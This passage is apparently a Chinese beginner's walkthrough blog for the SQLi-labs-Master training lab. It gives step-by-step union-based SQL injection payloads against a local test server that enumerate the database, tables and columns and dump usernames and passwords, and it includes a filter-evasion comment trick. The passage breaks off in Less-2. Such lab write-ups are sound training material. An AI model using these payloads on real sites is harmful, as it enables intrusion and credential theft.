前言
欢迎来到《SQLi-labs-Master新手通关宝典》,本宝典专为网络安全新手编写,旨在引导他们能够顺利通过SQLi-labs-Master靶场。
刚开始上手的地方会比较详细,一步步的指引新手操作和认识命令,后面有多个重复的地方我没有继续列举命令,新手可以通过自己敲出命令来加深印象。
中间会用到各种各样的工具:包括启动靶场的phpstudy,渗透用的中国蚁剑,抓包的burp suite以及解密加密的小工具
如果目前你正因不知道怎么操作注入而迷惑苦恼,不妨看看本篇来找到答案
一、SQLi-labs-Master是什么?
SQLi-labs-Master是一个用于学习和练习SQL注入的实验平台。它提供了包含SQL注入漏洞的Web应用示例,帮助用户了解和学习如何防范和利用SQL注入漏洞。
关卡总览(1 --- 22):


二、通关攻略
Less-1
GET - Error Based - Single quotes - String (基于错误的GET请求SQL注入 - 单引号字符串)

根据黄字提示,进行get请求的注入测试
(在请求后加单引号来结束SQL语句,根据报错信息判断有无注入点)

在得到黄字提示信息后可初步判断存在注入点,且注入点为单引号注入点
判断源语句的查询列数(后续less相同查询列数的将不再重复演示)
若查询列数判断出错,后续union联合查询的操作将无法正常进行
判断用的语句是Order by (猜测的列数) 语句
根据提示信息调整数值大小
接下来采用二分法来确定该数值
先写一个较大的数值(对于查询列数):10
(下图的提示为数值过大)

然后取中间值继续尝试:5
(下图显示依旧过大)
继续取值:3
(此图为过小或正确两种意思,为了确定将进行最后的二分)

4位过大,故确定3为查询列数

若未进行查询列数确定,直接以错误的查询列数操作,结果如下:
The used SELECT statements have a different number of columns
使用的 SELECT 语句的列数不同

开始进行注入操作

(上图的注入 在--注释后添加 [空格] a 是为了 防过滤(在参数末尾位置检测到 -- 自动删除))
此时注入操作并未生效,因为回显位置有限,原有的根据id返回用户名与密码占满了回显位置。
我们故意输入一个让前面ID查询语句结果为空的数值,以此空出回显位置
并写出明显的查询结果数值判断哪个位置为有效回显位
127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 -- a

由上图可知,有效回显位为 2 、3 位置
获得数据库名(爆数据库):
127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() -- a

得到数据库名后再以此得到表名(爆表):
127.0.0.1/sqli-labs-master/Less-1/?id=-1' Union Select 1,2,(Select group_concat(table_name) From information_schema.tables Where table_schema='security') -- a

得到表名后再以此得到表中的字段名(爆字段)
(以users表为例):
127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='users' -- a

(以emails表为例):
127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' and table_name='emails' -- a
得到字段名后再以此得到该字段中的数据(爆数据)
以users表中的username和password字段为例
在一行显示
127.0.0.1/sqli-labs-master/Less-1/?id=-1' Union Select 1,2,group_concat(concat_ws(':',username,password))FROM security.users -- a
在两行显示
127.0.0.1/sqli-labs-master/Less-1/?id=-1' Union Select 1,group_concat(concat(username)),group_concat(concat(password)) FROM security.users -- a
此时便可以得到了该数据库的信息,该关卡结束。
Less-2
GET - Error Based - Integer based (基于错误的GET请求SQL注入 - 整数型)
less2的注意点:参数的数据类型改变
正常流程:
页面与less1除了提示信息无异

正常发起get请求

参数id=1和id=2-1得到的页面相同,确定为Integer类型参数

错误示范:
照搬less1的方法:
获取有效回显位
127.0.0.1/sqli-labs-master/




新手通关宝典&spm=1001.2101.3001.5002&articleId=138959777&d=1&t=3&u=ffe0018aa9db448b908f12a1dbd39fb7)
3814

被折叠的 条评论
为什么被折叠?



